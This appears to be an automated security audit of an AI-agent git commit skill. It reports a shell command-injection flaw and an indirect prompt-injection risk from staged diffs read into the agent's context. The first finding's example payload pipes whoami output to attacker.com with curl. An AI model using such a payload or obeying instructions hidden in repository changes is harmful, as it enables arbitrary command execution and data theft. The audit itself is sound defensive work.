commit
Warn
Audited by Gen Agent Trust Hub on Jul 17, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill constructs a shell command
git commit -m "<message>"by directly interpolating user-supplied input from$ARGUMENTS. This creates a command injection vulnerability where a user can execute arbitrary shell commands by providing input containing shell metacharacters (e.g.,message"; curl http://attacker.com/$(whoami); #). - [PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection (Category 8) due to its data ingestion patterns.
- Ingestion points: Local repository changes are ingested into the context via
!git diff --stagedinSKILL.md. - Boundary markers: None. The output of the diff is inserted into a standard markdown code block without explicit instructions for the model to ignore instructions embedded within the code changes.
- Capability inventory: The skill has the capability to execute shell commands using the Bash tool (
git commitandgit show). - Sanitization: No filtering or sanitization is performed on the diff output before the agent uses it to reason about and generate commit messages.
- [COMMAND_EXECUTION]: The skill utilizes dynamic context injection (the
!commandsyntax) to executegit statusandgit diff --stagedat load time. This mechanism causes shell commands to run automatically when the skill is accessed, which serves as a stealthy execution vector that could be exploited if combined with more sensitive commands.
Audit Metadata